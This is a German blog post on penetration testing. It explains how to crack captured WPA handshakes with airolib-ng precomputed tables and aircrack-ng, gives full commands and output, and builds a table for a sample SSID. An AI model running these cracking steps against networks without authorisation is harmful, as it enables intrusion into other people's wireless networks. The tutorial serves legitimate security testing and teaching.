WEP gesicherte Netzwerke stellen mittlerweile kaum mehr ein Hindernis für einen Pentester dar. Der Nachfolger von WEP erforderte bislang allerdings immer den Griff zu den sehr langsamen Wörterbuchangriffen. Die Erstellung von WPA Rainbow Tables ermöglichen einen vielfach schnelleren Cracking Vorgang, allerdings müssen diese Tables vorab berechnet werden. Da diese WPA Tables SSID spezifisch sind, ist nicht unerheblicher Rechen- und Speicheraufwand für jede zu testende SSID erforderlich.



Das Team von Offensive Security stellt auf deren Webseite bereits eine hohe Anzahl vorkompilierter Rainbow Tables inkl. Passwort File zur Verfügung.

http://www.offensive-security.com/wpa-tables/

Im ersten Schritt, dieses kurzen Artikels, wird eine solche vorberechnete Tabelle eingesetzt und ein kurzer Vergleich zu herkömmlichen Passwort Angriffen dargestellt. Im Anschluss kommt es zur Erstellung und Anwendung einer neuen Tabelle für eine noch nicht vorhandene SSID.

Verwenden von bereits vorhandenen Rainbow Tables


Die vorhandene WPA Rainbowtable muss im ersten Schritt mit airolib-ng in die Datenbank importiert werden. Im Anschluss an einen erfolgreichen Import ist es möglich diese Tabelle für einen erheblich beschleunigten Test von WPA gesicherten Netzwerken zu nutzen.

Der Import einer vorhandene Rainbow Table funktioniert folgendermaßen:

Code:
17:41:14 s3cur1ty ~/wifu [m1k3] airolib-ng test --import cowpatty test.wpa
Database <test> does not already exist, creating it...
Database <test> sucessfully created
Reading header...
Reading...
Updating references...
Writing...
19:50:07 s3cur1ty ~/wifu [m1k3]
Sobald der Import erfolgreich abgeschlossen wurde (je nach Rechenleistung kann dieser Vorgang erheblich mehr Zeit in Anspruch nehmen) lässt sich die neu erstellte Datenbank für den Angriff auf den bereits aufgezeichneten WPA Handshake mit aircrack-ng einsetzen:

Code:
<em>s3cur1ty ~/wifu [m1k3] aircrack-ng -r test wpa.cap</em>
Folgende Screenshots zeigen den Vergleich zwischen einer einfachen Dictionary Attack (die nach ca. 4h abgebrochen wurde) und dem erfolgreichen Angriff per Rainbow Tables:






Erstellen neuer Tables

In den meisten Fällen eines legalen Penetrationstests trifft man auf nicht vorberechnete SSIDs. Im Idealfall lässt man sich die zu prüfenden SSIDs vorab übermitteln, wodurch man Zeit hat um den relativ langwierigen Vorgang der Erstellung der Rainbow Tables durchzuführen. Der folgende Abschnitt behandelt wie man zu einer vorgefundenen SSID eine Tabelle berechnet. Wichtig für den Erfolg eines Angriffs ist dabei der Umfang des vorhanden Wörterbuches. Offensive Security stellt das von ihnen verwendete Wörterbuch online zur Verfügung. Je nach Zeit und Umfang des Pentests kann man dieses Wörterbuch noch mit eigenen Passwortlisten erweitern.

File mit den SSIDs erstellen:

Im ersten Schritt benötigen wir ein Textfile mit den SSIDs. Wie bereits erwähnt wurde sind die WPA Tables SSID spezifisch.

Code:
17:13:23 s3cur1ty ~/wifu [m1k3] cat ssid.txt
p0wn-me
Datenbank erstellen

Code:
17:13:16 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --import essid ssid.txt
Database <testdb> does not already exist, creating it...
Database <testdb> sucessfully created
Reading file...
Writing...
Done.
oder bei einer einzelnene SSID:
Code:
# echo SSID | airolib-ng testdb --import essid -
Importieren des Passwortfiles und aufräumen der Datenbank:

Code:
17:14:31 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --import passwd wpalist.txt

18:22:07 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --clean all
Deleting invalid ESSIDs and passwords...
Deleting unreferenced PMKs...
Analysing index structure...
Vacuum-cleaning the database. This could take a while...
Checking database integrity...
integrity_check
ok
Query done. 2 rows affected.
Done.
19:24:44 s3cur1ty ~/wifu [m1k3]
erstellen der Rainbowtables:

Code:
17:14:31 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --batch
Computed 25000 PMK in 691 seconds (36 PMK/s, 225000 in buffer).
Computed 925000 PMK in 8647 seconds (106 PMK/s, 75000 in buffer).

18:22:07 s3cur1ty ~/wifu [m1k3] airolib-ng testdb --verify all

cracking WPA handshake:

Zu guter Letzt fehlt nur noch der Angriff auf den WPA Handshake. Dieser Angriff erfolgt mit aircrack-ng und stellt sich ebenso dar wie im Screenshot zu den vorberechneten Tabellen dargestellt wurde.

Folgender CLI Aufruf veranlasst aircrack-ng einen Angriff auf das angegebene cap File durchzuführen:

Code:
aircrack-ng -r testdb handshake.cap
Exporting:

Im Normalfall wird man sich die erstellten Tabellen für weitere Einsätze und für Dokumentationszwecke archivieren:

Code:
airolib-ng testdb --export cowpatty SSID SSID.wpa
Die etwas schöner formatierte Version findet ihr wie üblich auf meinem Blog:



WPA cracking with rainbow tables | www.s3cur1ty.de